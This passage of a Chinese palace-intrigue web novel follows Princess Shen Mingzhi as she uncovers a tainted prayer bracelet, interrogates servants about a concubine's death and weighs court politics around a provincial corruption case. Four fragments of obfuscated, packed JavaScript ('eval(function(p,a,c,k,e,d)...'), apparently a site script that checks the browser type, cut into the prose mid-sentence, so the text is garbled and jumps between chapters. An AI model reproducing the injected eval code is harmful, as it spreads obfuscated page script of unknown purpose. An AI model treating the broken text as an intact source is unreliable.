他方才是如何回的?是说“微臣遵旨”还是“如故遵命”?他记不得了。 这来自幽冥炼狱的一道天光,总是珍惜得可怕,他自己向来是钱如流米落也不知道捞一把存身上以备荒年的,除了钱,这些年来更没其他什么值得他如此过分珍惜的东西,可今天这道光很特殊,直让他两眼发黑、天旋地转、直想就此长眠此间永不复醒。可光也嫌弃他身上的死人味,凭空变出了这万里长空中的第一缕云,吝惜地将光芒全收敛了回去。 他便只能站在这湿冷的阴影里。 梅如故从内阁出来,路过建业阁,走上了东直门广场,跨出了东直门,一路阴霾,却见这鄙吝的天爷舀了一整瓢华光,全淋在了沈明枳身上。他记得这丫头小时候爱跑出去玩,成天在大太阳底下疯,自己还说她黑来着。可现在的她已经亮得让人不敢直视。 他觉得心酸,可心里蓦然又炸出一朵花,盛放在这萧索的秋天。 “你怎么入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“去去去!”梅如故故作嫌弃地摆手,赶苍蝇似地赶着沈明枳,“别沾着我,老子的好日子才刚刚开始呢,才不要被你这个以苦为乐不识好歹的家伙给毁了。” “好日子?怎么,在京城赖了这么久,父皇总算想起给你个京官当当了?” “去去去,你懂什么?赶紧入宫到圣上面前给你那驸马唱出苦情戏,这演贤妻的机会难得,可得好好把握,别过了时候后悔莫及。” “阴阳怪气的!” 梅如故啧啧两声:“我这可是善意提醒。你明目张胆地跟着我跑出来,想好借口了没有?这一来一去地耽误你唱戏,那臣的罪过就大了!” “梅如故,你今天心情不好。” 梅如故被沈明枳这惊天动地的一句话给震懵了,好在他本事了得、技术熟稔,眼角抽搐、嘴角讽刺,笑得让人看不出一丝破绽:“呦,能让你这丫头片子看出我心情不好?我这么多年是白活了!” 沈明枳别嘴,目送他离开,赶在被路人瞧出来前恢复了冷肃,刚要指挥人大张旗鼓地上马车给她找“丢”了的一支簪子,就见月珰听完暗卫传信脸色不对,连忙走了过去:“怎么了?” “殿下,柳太夫人昏过去了。” “立刻去请孙先生,就走启明门,叫上郇海山。” ** 柳氏的寝房里已经乱成一团,等孙先生背着药箱到了,沈明枳这才略略放心地退出了屋内,却见月珰满面急色,四周也不见郇寰的影子。 “郇海山人呢?” “刑部的人说,驸马被锦麟卫指挥使请过去例行问话,一时半会儿是回不来了,不过奴已经让侯府的人等在了锦麟卫衙门口。” 沈明枳拧眉:“也罢,他现在回来也帮不上忙。” 过了一刻,屋内恢复平静,沈明枳的心总算放了下来,偏生孙先生的脸色奇差无比,一出门就逾越礼数地拽过沈明枳走到了游廊阒静的一角,将手中盘着的一串佛珠手钏推到她眼前。 66. 第六十六章 龙血脑 月珰见状连忙递来纸笔,孙先生颤颤巍巍将那手钏塞到月珰手里,又一把从月珰手心抓了下来扔到了栏杆外,这才垫着廊柱,飞快地写了起来。 沈明枳与月珰看看那串佛珠,又互相看看,孙先生这才在逐渐暗沉下去的夕阳中写完了三个宛若被狂风蹂躏过的字:“龙血脑!” “那是龙血脑磨的?” 又一张纸递了过来:“极品,比太医院的还好。太夫人未与梅花接触,故无气疾,但龙血脑有诡效,多思者多梦,遇下则助下,遇上则助上。” 沈明枳的心随着落日一同沉了下去。 襄阳侯府内居然也会出现这样邪性的东西! “月珰,把太夫人身边的李嬷嬷请来。” “奴婢参见公主殿下、见过孙太医。” 孙先生将呈在托盘上的佛珠手钏递到李嬷嬷眼前。 “看清楚了,这是什么东西?” 李嬷嬷的脸色一下子就白了。 “看来你知道。” “公主是在说什么,奴婢不明白啊。” “季岸!” 季岸即刻带了两个公主府侍卫走了进来,一把将李嬷嬷从地上拎起,另两个侍卫即刻抽了绳子将李嬷嬷的手脚都捆在了一起。 李嬷嬷这下慌了:“公主!公主!奴婢真的明白啊!” “季总领,别让她留什么皮肉伤,面子上过不去。” “殿下放心,这是我们的拿手活。” 李嬷嬷叫了出来:“我说!我说!” 季案一把将人扔回了地上,痛得李嬷嬷“哎呦”一声叫了起来:“还请公主屏退众人!” “有什么好退的,就这么说。” “公主!奴婢求公主!公主也要为侯爷的名誉想想!” 沈明枳微一沉吟,让季岸带着孙先生等都出去了,李嬷嬷居然连月珰都要撵,沈明枳又想了想,让月珰也出去了,这下屋内真的只剩下她坐着,看着李嬷嬷艰难地昂起上身,面有菜色。 “公主,您既然知道了,还问奴婢作甚呢?” “本宫要问的是,这东西从哪来的?怎么来的!” 李嬷嬷泫然欲泣:“公主,这就是捡的啊!” 沈明枳一拍桌子,季岸立刻推门走了进来,吓得李嬷嬷一个瑟缩,哭得厉害:“公主!奴婢说的是实话啊!” 沈明枳摆手让季岸退了出去,“那你具体说说,是怎么捡的?本宫倒是好奇了,有捡金捡银的,头一次听说捡这个的。” 李嬷嬷平复了下来,勉强说道:“是那年,侯爷十六岁时的那个新年,侯爷从兰陵回家,陪着八娘在后院玩雪,不知怎么这手钏就丢了,把后院都快翻过来了也没找到,后来是雪化了,太夫人亲自去找的,这才在池塘边的枯草堆里找到了它……” 沈明枳懵在原地。 李嬷嬷一看她脸色,连忙求饶:“公主!奴婢说的都是真的!这绝不是偷的!” 沈明枳冷脸,霎时间想起了那夜郇寰所说,柳氏连频繁滑胎都会和他交代,顿时有种不详之感涌上心头。她顺着李嬷嬷的话问:“既然找到了,怎么不还?还是说还了,结果郇海山把它又送给了太夫人?” “公主明鉴!太夫人要还,可是侯爷一年到头也不回来一趟,这怎么还!” 沈明枳冷笑:“怎么还?只要想还,法子多得是,怎么还不了?怎么还塞到了太夫人衣裳里日夜贴身带着?” 李嬷嬷脸色灰败,彻底答不上话来。 “李嬷嬷,太夫人的情况你很清楚,你要想好了,有没有什么要告诉本宫。这些事情,本宫迟早都会知道的,只是‘迟’与‘早’于你而言就是‘死’与‘生’的区别。就算你不在乎,你好歹也要替你的儿孙考虑考虑,本宫听说嬷嬷的长孙十分成器,十三岁就中秀才了,这前途不可谓不光明。” 李嬷嬷的眼泪填满了脸上沟壑,“求公主开恩,奴婢说,奴婢都说!” ** 花园的石灯亮着,与天上的孤月唱和着,幽幽哼出了一曲荒草破屋逢野鬼的破落戏。这一处小阁坐落在花园东南角,前面流玉轩,背依围花墙,过了墙就是外宅马房,周遭都是遮天的杂木密丛。因为远僻,白日里鲜有人来,洒扫奴婢也只初一、十五地来上一趟,沈明枳来侯府这么久,干脆连这处隐蔽都未尝听过。 提灯夜访,风声鹤唳。不甚宽的细沙路上横生荆棘,显然近来多月都未有人踏足,夜极浓,季岸本想上前开道,却被沈明枳制止。掉漆斑驳的描花窗户咯吱咯吱地在响,在寂静的夜里显得突兀又悚然。 “殿下?”季岸的听觉比沈明枳更加敏锐,又请求道。 沈明枳滤过这咯吱声里的杂音,点了下头。瞬间,几道黑影晃灯,阁门洞开,几声叽哇乱叫里,两挺赤条条的“白鱼”就被暗卫拎到了沈明枳跟前。还未待沈明枳看清这一男一女的面容,已经乱得纠缠不清的一团衣物就被季岸摔在了那男人的腰部,恰恰挡好了他□□的那条软蚕。随即,女人饱胀的胸部也被一件中衣还是外挂裹住,可白花花的胸脯上的红印涎水,仍然止不住地曝露在灯光下。 “捆了,请管家来。” 女人抬起一张仍含春色的俏脸,眼睛里却一丝柔情也无,惊恐地望向沈明枳,“公主!公主!妾身有话想说!” 沈明枳侧身,“把嘴堵上。” 季岸连忙亲自动手。 那女人还在“呜呜”大叫。 沈明枳斜她一眼,“你有话要说?” 女人点头。 “很重要的话?” 那女人点头如捣蒜。 “把她提进去。” 说罢,季岸抓起男人身上那团衣裳捂到了女人身上,搁着衣物将人重新提回了阁中。沈明枳褰裙迈过一丛丛荆棘,刚跨过门槛,阁内就点起了灯,将室内的破败照得一清二楚。 等人都退守到了阁外,沈明枳这才让人拔了她口中衣物。 “你叫什么?” “婵娘。” “想说什么。” “公主想知道什么,妾身就能说什么,只要公主救妾身一命。” 沈明枳负手仰头看着正对大门的这副“乌鸦反哺”图,“你知道这阁子里死过人?” 婵娘只当沈明枳答应了,斜跪在地上微微挺起了背,“知道,死的那位还是老侯爷唯一的妾室张姨娘。” “那你还敢在这里与人偷情。” “她生前是个软骨头,死后难道还敢找活人的麻烦?且她一死,这太夫人就找了人给她超度,佛渡有钱人,太夫人这笔钱够她下辈子投一个好胎一辈子不用为奴为婢,她做什么不投胎来找我的麻烦?况且害死她的人,可不是我。” “你知道是谁。” “不做亏心事,不怕鬼敲门,这钱出得再多,这夜里也睡不踏实。” “证据?” “这座吹蕊阁就是证据。” 沈明枳这才侧身看了过去,婵娘就坐在东窗那片狼藉之下,未曾散尽的欲色自她丰盈的身姿后涌来,一沾至沈明枳的鼻尖就引起一阵恶心。流玉轩、吹蕊阁、围花墙,沈明枳忍着恶心问:“具体?” 婵娘一笑:“大房寡嫂与家中二叔在此幽会,不慎被张姨娘撞见,公主以为这张姨娘还能活几日?这二叔刚夺了侄子的爵位,天不怕又地不怕,但太夫人害怕张姨娘将事情说出去,便拿捏住了三姑娘,逼张姨娘装疯卖傻,说是年轻时干了亏心事,夜里撞了鬼,顺理成章将人当作‘疯子’关在了这里,这一关也不管她恶疾缠身,硬生生将人关死在了这里。” “你怎么知道的。” “妾身偶然散心路过,发现张姨娘病得快死了,就告诉了还被蒙在鼓里的三姑娘,又自己掏了钱、托了人给她买药,她自然什么都告诉了我。” 沈明枳心中咯噔一下亮了一片。 “你是岭南人。” 婵娘一愣:“公主怎么知道?”她旋即一笑:“看来是妾身的口音还不够地道。” 沈明枳眉头紧锁:“你与他何时好上的。” 婵娘矫揉又笑:“不过最近的事。公主想来也听说过,妾身侍奉的那位就是色鬼转世,本就没什么本事,上了年纪就越发不中用了,这三十如狼、四十如虎,妾身是女人,公主也是女人,公主虽然年轻,但侯爷勤业不常在家,应当能体谅妾身的苦处吧?” “那就是好几年前了。” 婵娘脸色骤变。 “你是三房的人,为什么要掺和别房的事情。” 婵娘终于露怯:“妾身不明白公主在说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈明枳看见了郇寰眼中的凝重,“卿寺卿主办,你们刑部报了郎中陶识礼,三品、五品之间,就缺都察院一个四品佥都御史,曾恩全与华岑建不能去,剩下来就是梁树远和介含清,他们两个无论谁去,总也出不了岔子。” 郇寰的脸色出奇难看:“圣上派了我。” 沈明枳一惊:“以什么身份?” “刑部尚书。” 见沈明枳一时回不上话,郇寰继续道:“我在锦麟卫衙门时,内阁遣人来宣的旨,让我主查,但没有说大理寺和都察院的安排。所以从宫里出来后,我听说太夫人没事,就去了一趟赵王府。” “他们怎么说?” 郇寰摇摇头:“事情太过突然,暂时分析不出什么,或许是圣上觉得,魏王此次过火了。” “你觉得过了吗?” 郇寰再度摇头:“这确实奇怪,又或许——” “或许是他在给你们出难题。” 两个人都想到一起去了,郇寰十分认同:“确有可能,轻判落罪、重罚寒心,中间这个度虽不难把握,但无论怎么‘不偏不倚’,魏王派上几道奏疏又会变成‘包藏祸心’。” 沈明枳:“你这次引咎辞职,说到底犯事的不是你,你是代人受过,还能有东山再起时。但如果信州此案有了好歹,你这辈子的仕途就到此为止了,他们是想让你,永无翻身之日。” “是圣上。” 沈明枳触及郇寰冰凉的目光,蓦地想起了东长安门外的梅如故。 “那你想好如何应对了吗?” “让人弹劾。” “圣旨已下,你非去不可。” “那为何只有我一人的任命?大理寺和都察院难道不去么?若此事不是魏王鼓动,他们便不会允许我南下,舆情汹涌,我便去不得;若真是他们谋划,只公布我一人显然是想让我顶风,我主动找事,早一点逼出来另外两个人选,也早一点摸清他们的底牌,也好早一点谋算。” 郇寰并没有直接说出最深一层的打算,但沈明枳猜得到他话中的毛骨悚然。早一点逼出另外两个人,若一定要去,就可以从这两个人入手安插自己的心腹;若不打算去,那就干脆一不做二不休,来一个杀一个,来一双杀一双,让南下信州的这支队伍永远也不能完整。 杀人从来都只是最下流的手段。 但有时候,下流才是最上乘的选择。 67. 第六十七章 听墙脚 “那你当心。” 郇寰偏头轻笑一声:“殿下不必担心,又或许事情十分简单,就是圣上想捞他女婿一把。” 沈明枳皱眉:“我在御书房还没这么大的面子。” 郇寰再笑:“臣现在是不能辞职了,从早到晚,恐怕比从前还要再忙些,那殿下还换驸马吗?” 沈明枳一哂:“本宫可从没说过这样的话。” 郇寰不笑了,眼里仍存笑时温柔:“臣一定会活着回来的。” 沈明枳不知此刻的自己是何种心情,沉默良久才应了一声,随即打岔:“刚才我在后院散心,遇见了三房的一位姬妾和马房马夫。” 郇寰会意。 “我让人把他们看起来了,你打算如何处置?” “照规矩全打死。” 沈明枳扬首看了过来。 “但现在事多,突然出了这样的事情,难保不会有人大做文章——”他略略思忖,“那个马夫先关起来,那个姬妾便送回三房,交给三叔母处置吧。” 沈明枳点点头不说话。 “殿下是否觉得处置得太轻了?” 沈明枳不说话。 “我这位三叔母最看重面子,他们房里出了这种丑事,她绝对不会姑息。后宅里折磨人的手短她尤为精通,那姬妾没几天好日子可过。且她一向看着那些莺莺燕燕不顺眼,尤其是其中那位岭南来的婵娘,她是恨不得食之骨、啖之肉,有这个机会折腾她们,她不会放过的。” “这婵娘怎么了?” 郇寰不避讳说长辈的丑事:“她是我祖母还在时买进府的,一开始指给了我父亲,结果被三叔捷足先登、收了过去。没想到后来,她还是和我父亲掺和在了一起,不过这时候祖母已经去世,我母亲也不在了,太夫人刚进门不久,为了面子上的和气,大家就将这件事情压了下来。这婵娘本要被打死的,却是三叔太喜欢她了,舍不得,闹了许久还是把人给保了下来,这便成了整座侯府里的‘传说’。不过这些年,也没什么人记得这件事了。” 沈明枳眼皮一跳:“今夜抓到的这人,应该就是这婵娘。” 郇寰略略吃惊:“这样啊,我以为这么多年她还盛宠不衰。” “色衰爱驰,古之常事。便是风韵犹存,也总有腻味的一天。” 郇寰定定地看她,将这番话在心里过了几遍,就不再接话。 “对了,太夫人病重,事关重大,我想找个日子带八娘她们上山进香,求些护身符之类的东西让她们安安心。” 郇寰缓过心神:“我以为殿下信这些呢。” “鬼神之事,最不可信。” “确实,不过我母亲很信佛,我小时候她就去兴化坊的慈悲寺求过一串佛珠,说是能挡灾化劫、保我平安,为了让她安心,我也戴了很多年,不过后来丢了。” 见郇寰这么轻易就入了套,沈明枳心中波澜微动,“没去找过吗?” “找过,当时把整座侯府都翻过来了,他们都安慰说是劫难已化、珠子里的神佛就要回天上去了——”郇寰哂笑,“当孩子一样哄我,也罢,丢了就丢了,不过有时想来,也觉得可惜,毕竟是她留给我的东西。” “人还记得便好。” 是时,他们已经走到了厢房,有正房的人前来回禀:“公主,太夫人想单独见您。” 郇寰眼中微不可察地闪过忧心,沈明枳平淡应下,又对郇寰道:“你早些休息,明日朝中要起不少风波。” ** “呦,申二爷,您这一宿就歇在这儿了?也没个红粉佳人作伴?”高颧骨一进千金地,就哈哈乱笑起来,吵得申不极从软毯里抬头,来不及骂骂咧咧就仰面重新倒了回去。 美人痣看着矮几上翻倒的酒瓶,连忙招呼人进来收拾,“昨夜您给郇侯送别,怎么还喝了这么多?今天郇侯还能上路不?” 进进出出、叮铃咣啷,申不极被吵得火气上涌,翻身一滚从毯子里坐了起来,刚要胡乱骂上几句,就见瘦高个咣啷咣啷地跑了进来,下巴都快咧到胸口了,破锣嗓子整天地乱叫:“活久见了!哎呦,昨夜咱们这秦王老九居然找了一堆妹子挨个来!” 高颧骨和美人痣也都捂着嘴尖叫起来:“劲爆啊!” “我刚刚路过包厢看见了,什么款的都有——”瘦高个掰着手指数:“芙蓉出水的、妖精祸国的、大家闺秀的,二八佳人有,这老半徐娘也有!还有个男女莫辨的小白脸,哎呦真是齐全得不得了!” “哇嚯!这秦王老九是憋久了吧?一次性这儿么多,他受得住嘛!” 美人痣看见了申不极黑如锅底的脸色,捅了捅兀自起劲的两个人,听申不极一边伸懒腰,一边懒散问:“什么?秦王逛窑子去了?” 高颧骨和瘦高个连忙凑了过去,却被申不极周身的酒丑给熏到了,捏着鼻子尖声道:“这不是逛窑子,是把窑子里的娇小姐来逛他了!” 申不极“呸”了一声:“活腻了敢编排皇家的人?”他一巴掌拍得瘦高个找不到北,“你有几个脑袋?没九个脑袋别常说这些有的没的!小心被报复得哭爹喊娘也没用!” 美人痣上来打圆场,忽然听见楼下“轰隆隆”滚地雷似的狂震一番,美人痣和被他拉住的瘦高个一起伸长脖子探出了窗子,就见大早上本该冷冷清清的长街上居然被几撮人挤得水泄不通,几个锦衣华服的小公子彪马而来,还有个没控好缰的,将路边的浆水摊掀翻了,热滚滚的汤水撒了一地,家奴和摊主正纠缠得不可开交。 瘦高个惊讶地叫:“诶,那不是楼复吗?” 闻言,高颧骨也凑了过去:“他不是被关禁闭了吗?听说他爹娘正四处给他说亲,连京城外的那些小门小户都要来者不拒了,也不知他犯了什么事。” 申不极一个哆嗦醒了神,挤开瘦高个和高颧骨也趴到了窗边,却见楼复没有下马只骑在马背上居高临下地和人说了几句话,随即扬鞭又冲出了长街,惊得路边一匹胆小的红鬃马疯狂地尥蹶子。 申不极“嘶”了一声,又听美人痣惊讶:“诶,今天是什么日子,怎么这群小爷儿也出来找事情了?” 瘦高个细数:“辛喾,卿澄,季谨,郭辞文,这来得可真齐全!全化隆最爱搞事的魔王都来了,哦嚯,有好戏可看了。” 高颧骨兴奋不已:“晋王不会也来了吧?” 申不极一甩头,“又皮痒了,晋王怎么会和他们这些二世祖混到一起?” “哎,别说,刚开始我也不信,还特意去打听了,结果还真是,晋王居然和下面这四个里最刺头的那个辛喾打了一架,结果不打不相识,一打就成了兄弟!” “什么兄弟!隔壁那位秦王老九才是人家正经的兄弟!” 见申不极不信,瘦高个为高颧骨作证:“还真是,前几天我还听说他们在城外一起打猎来着,你看他们背弓带箭的,应该也是打了一晚上的猎现在进城喝花酒的,就是这猎物,够寒酸的。” 包厢里收拾片刻,就听门外又是“轰隆隆”一片杂沓的脚步声,申不极正慢悠悠漱着口,听申景回报着今晨郇寰出京南下的情况,忽听门外那群二世祖乱哄哄闹声里,有一人的抱怨格外清晰:“真是混了个蛋了!我这才想起来,前天我那个在江南的老表给我来信,说是居然有不长眼的敢掀他的排面,□□,唾沫都喷了一脸,居然还得意洋洋的。” 申不极不了解这群暴脾气小年轻,听不出这声音是谁,好在下一个接话的人他认得:“谁这么胆大包天?老子带人去干他!” “郭辞文,别这么匪气,叫你家老祖宗知道了,当心又要挨揍。季谨,怎么回事啊?你爹是工部侍郎,你母家也是江南望族,怎么还有人在你们头上动土?不会是你那老表挑事惹到人家了吧?” 一群人呼啦啦走远,申不极刚听得有趣,连忙溜达出门,靠着阑干听着这群二世祖拥进了平台敞轩,边吃着申景捧来的新鲜出炉的蟹肉酥,边兴致勃勃听着墙角。 季谨矢口否认:“怎么可能?我家的家教可严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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申不极没想到,脾气最暴的辛喾居然是这帮二世祖里镇场子的那个,真让人刮目相看。他又呆了会儿,见他们没再说什么稀奇事,便一口吞了剩下的半块蟹肉酥,拍拍手,在心里第一百零八次惋惜郇寰这个生来“娇气”的,是没这个福气享受这口绝味的蟹肉酥,然后转回了千金地,同高颧骨等人琢磨起今日去哪里消磨光阴。 一寸光阴一寸金。 天蒙蒙亮,东直门甬道两侧的宫灯尽数熄灭,启明门才在府军卫的推动下,叹出了漫漫长夜尽头的第一口气。上值的府军卫都悄悄打着哈气,老早等在皇城外的信差却抖擞了精神,宫门一开,便冲进了浓雾永驻的宫道。 不阿隔着窗纸,看着值房内柳曦既危坐的背影叹气,他扣扣门板,得到了许可,这才推门而入。 “大人,这是信州来书。” 柳曦既搁笔,拆开信笺,一目十行读完后,神色却不见丝毫松动。 不阿放下餐盒,小心地将白粥小菜摆到桌子上,轻声道:“大人,用些早饭吧,再过会儿就要上朝了。” 柳曦既将信笺烧掉,这才从位子上起身,“一会儿介含清来了,让他直接来找我。” “若是介御史今日有事要当廷奏报?” “今日他不需上朝。” 不阿点点头,心里为介含清捏了把汗,正算着一向勤奋守时的介含清几时回到都察院,柳曦既吃完早饭就收拾衣冠,早早上了东直门甬道。一上东直门甬道,迎面就见右都御史楼宥谦掩面打着哈欠,路上遇见的大理寺卿卿楷也是眼下乌青,两个老头都走得有些踉跄,见到柳曦既在前,都振作起精神一一问候。 “这么早啊,曦既,你昨夜不会又宿在值房的吧?” 楼宥谦也看见了柳曦既略失血色的脸,真心劝导:“曦既,身体要紧。” 柳曦既与两位老前辈见完礼,这才轻声道:“现在是公事更要紧。” 卿楷与楼宥谦俱是一叹。 正此时,甬道上又走来了几个人,为首的是对门刑部的侍郎严中立,其身后还跟着一个模样甚伟的年轻人。 68. 第六十八章 道不同 “严侍郎也早啊。”卿楷出声。 严中立和身边的年轻人与诸人一一还礼。 甬道上三司官员越来越多,柳曦既等也不再耽搁,一同往东长安门走去。 楼宥谦问严中立:“方才那个是叫俞仕哲吗?” 闻言,卿楷和柳曦既都看了过来。 严中立答:“正是。” “我听说他与郇侯的妹妹定了婚,婚期就在这个月?” “确实如此,只是上月末郇家姑娘突然生了重病,郇侯又要南下办差,便将婚期推后了。” 楼宥谦点点头:“婚姻之事,确要慎重。” 过了启明门,卿楷特意慢了一步,拉了柳曦既的袖子等楼宥谦与严中立走远了,这才说起公事:“雍王之案牵扯到了季家,昨天我特意去问过季侍郎,说是他家二郎季谨酒后胡言,都只是孩子们的胡话,雍王在江南道欺压季家族亲之事纯属乌龙,季侍郎还说要亲自来找你解释,然后再去面圣——” 闻言,柳曦既轻声说:“奏疏被留中,昨夜内阁特意派人找过我,让我将事情压下去,大理寺和刑部那里暂时拿不到奏疏,季侍郎便不必来察院了。” 得了这句话,卿楷方才定了心,“这便好,只是要辛苦你了,一边要盯着信州,一边要处理各种弹劾,一边还修整察院内部。” “职责所在。” 人来人往,金明桥前已经站了不少朝官,等柳曦既与卿楷站定,不一会儿,圣上便到了,百官齐整地步入承天殿。 郇寰作为刑部尚书,还未离京就吃了不少弹劾,等他九月初的一份奏疏抵京,里面粗略的案情汇报挑起了不少人的争端,一连七日,白花花的奏疏全都是冲着这份状似袒护的奏疏而去,可一连留中几十份,哑了不少人的火,这几日便消停许多。 弹劾郇寰的折子少了,但弹劾的折子只增不减。此次同时外派的有大理寺寺丞程言澈和起复的御史尚兆魁,尚兆魁重回朝廷就授了四品佥都御史的职,刚从华岑建身上剥下的官袍就披在了他的身上,起初无人异议,现在郇寰逃过一劫,他和程言澈自然要被拉出来挡刀。他们没犯过什么打错,掰扯出来的小错接连不断,确实惹人心烦,但内阁一直压着,圣上也没有处理的打算。 今日的早朝要消停许多,圣上也是这么以为的,直到临近退朝时,通政司紧急递上了信州御史尚兆魁与户部侍郎周舫的联名奏报。 “呈上来。” 这种情况、这种级别的奏疏理应由通政使应旗亲自上奏,但这封来自江西道信州府的奏疏太急,以至于应旗也没能事前准备,念得有些磕磕绊绊。 圣上听不下去,“直接拿上来。” 庞大总管亲自从面无人色的应旗手中接过奏疏。圣上只看了两眼,就将奏疏摔在了丹墀之下,吓得满殿之人都不敢呼吸。 “天高皇帝远,就敢私自收税?假公家之粟、充私人之库,好啊,怎么不另立朝廷?看来这王家对朝廷颇有不满啊!” 裴继登跃出队伍:“此举扰乱国法、有损纲常,还望陛下派专人深入调查,再加以严惩、以正纲纪。” 旋即就有魏王一派的官员附和。 “依你看,谁才算得上专人?” 裴继登跪道:“臣不敢妄言,此等人选关乎国家大计,需要细细商议。” 圣上冷嗤,将或跪或站的诸位朝官都弄迷糊了。殿内安静几瞬,圣上才开口:“这王家是寇家的姻亲,寇家又是赵王的母族,这费志皋的太太与荥阳郑氏有八竿子打得着的亲戚关系,郑家又是魏王的妻族,费家手里的田又是邹氏四处兼并贱卖而来,邹家又是燕王的母族!好好的一个信州,弹丸之地,出了事情偏偏扯上了三位皇亲诸多国戚,众卿觉得,谁才算得上‘专人’?!” 底下顿时起了私议,面面相觑,互相询问着“费志皋”是为何人,这贱卖之田又是何故,却人尽皆知圣上话中的“专人”究竟要刺谁的脊梁。 卿楷等问了一圈,刚要找礼部尚书陈阵,就见陈尚书面如死灰,登时就明白了这费志皋就是礼部的人。 圣上也看见了陈阵的脸色,开口却叫了别人的名字:“林振江。” “臣在。” “你来给朕说说,这江西道信州籍贯的礼部郎中费志皋是怎么在一年之内,从被革职查办的代罪之身直接调到了中央礼部!” 话落地的一刻,吏部尚书林振江的汗就滴了下来,“臣……臣并不清楚。” 圣上冷笑:“你确实不该清楚,起来吧,这是升平十七年左右的事情,那时候你才进的吏部吧,你如果知道那就是见鬼了!” 一听见升平十七年,所有人都打了一个寒颤——这正是太子病故的那个癸卯年。 “庞培,将奏疏送到郭阁老手中,让阁老们仔细看看。” “是。” 圣上不去看郭明修等人的脸色,而是看着还跪在中央的裴继登,似是透过了裴继登,他便在直勾勾地审问魏王一脉。 “癸卯年三月中旬,悬水河发了大水,费志皋就是第一个决堤的临戎县的知县,后因为治水不当被革职。结果革职后还乡,家乡信州费氏族人又多了总共两万亩良田。为了逃避税收,费家就收买胥吏将家族的田地填报到贫民户上,串通当地官场沆瀣一气!徇私枉法、草菅人命和那个王家有什么区别!” 裴继登汗如雨下。 “这也就罢了,这两万亩地的流转居然还能挖出一些秘辛。信州此地,山陵连绵,少的就是这样上等的田亩,燕王母家邹氏族人居然能四处兼,一口气凑出两万亩,得见其势大,然后转手通过贱卖‘送’给费志皋!朕就不明白了,费家何德何能能受得起这两万亩田的贿赂!覃玉麟!” “微臣在。” “邹秉童还在户部时,算是你半个老师,你是他一手提拔的,又当了他女婿。去年他告老,推荐你来当这个户部尚书。升平十七年时的吏部侍郎就是他,你来说说你这岳丈家,又是给费志皋升官,又是向费家行贿,这究竟是什么道理?” 覃玉麟猛然一个响头磕在地上,一言不发浑身颤抖。 “你这是不知道还是不想说啊?” 覃玉麟不敢答话。 “既如此,朕便让人去查。柳晢!” “臣在。” “都察院由你来协调人手查办此案。” “臣遵旨。” “卿楷、严中立。” “臣在。” “你们要好好协助都察院勘破此案。” “臣等领旨。” 柳曦既与楼宥谦商量了一路,堪堪敲定了人选,刚走到进思堂附近,就听堂内一阵喧哗,闹得沸反盈天,有一年轻人不知被谁推了一把,又被进思堂的门槛绊了一脚,直接从堂内跌了出来。他扶了一把歪斜的官帽,刚搭上手忙脚乱的属下,卜一抬头就看见了柳曦既的绯袍,面色讪讪。 “怎么回事?” 柳曦既一开口,堂内莫名就静了几分,楼宥谦边上的左副都御史高穿楼赶忙拉了摔在地上狼狈不堪的梁树远一把。 梁树远边爬起来边说道:“大人,介御史还在里面!” 柳曦既两步迈到了门口,堂内不知哪个人眼尖看见了他,惊叫一声“总宪”,堂内霎时鸦雀无声又落针可闻。 揪着介含清官服领口的那位少爷愤愤放手,颇不甘心地朝柳曦既揖礼,柳曦既一眼也没去看正整理衣冠的介含清,只一掀嘴唇,虚行一礼,语气却很不客气:“我道是谁,原来是雍王世孙。” 楼宥谦“嘶”了一声,不知是听见了这狂傲少爷的身份还是看见了鼻青眼肿的介含清,他赶忙也朝这少爷施礼,礼毕就将还被雍王世孙的仆从围着的介含清拉到身边。 雍王世孙知道自己今天在都察院里打了都察院的御史,暂不说国法,首先就下了眼前这位左都御史的面子,即刻收了脾气朝柳曦既告罪:“柳大人,今日之事是我不对,一会儿我就会进宫向圣上请罪,随后我便会登门亲自道歉。”他又拱手朝楼宥谦和高穿楼等拜礼,最后重又看回柳曦既:“还望左都御史大人大量,都察院诸位御史大人大量。” 柳曦既脸色仍然是冰冻的,“世孙这登门道歉,下官受不了,都察院其他人也担不起这声歉,只苦主一人在前,世孙不该说些什么么?” 雍王世孙瞪向介含清,又无所谓地反问柳曦既:“他不知天高地厚,难道不该挨打吗?”撂下这一句话,他便带着仆从自进思堂正门扬长而去。 “欺人太甚!”高穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“绝对不可能!雍王世孙当众殴打姚家俭,御史樊道乾受理此案,人证物证齐全,当地官府已有备案,且季家二郎季谨在极乐坊所说,句句皆为清醒之言,卿寺卿的孙子卿澄、英国公府辛喾,乃至郭阁老的孙子郭辞文皆是人证!大人,这怎么可能是假?” 柳曦既冷笑:“你何时去过那种地方?” 介含清一噎。 “是旁人听见了然后转告于你,你可能保证此人所说句句属实?就算属实,过堂审问,这些公子少爷的口供能否如一?更何况,是真是假都不重要,昨夜内阁递了消息,那边折子留中,都察院里让我将事情压下去。你是前天傍晚出宫前递的奏疏,最晚在昨天中午圣上就阅过你的奏疏了,你昨天休沐,今天早上雍王世孙就从洛阳东都赶到了皇都化隆,然后就在进思堂里明目张胆地打了你。” 柳曦既又看了一眼他脸上的伤,“你觉得自己很厉害?三两句就把人逼急了和你动手,正好坐实了雍王府仗势欺人、目无法度,再上一道奏疏,将南巡途中公主交给你的证据再度附上,就算圣上有心宽宥,言官的弹劾也不会放过他们。” 介含清终于露出了凝重神色。 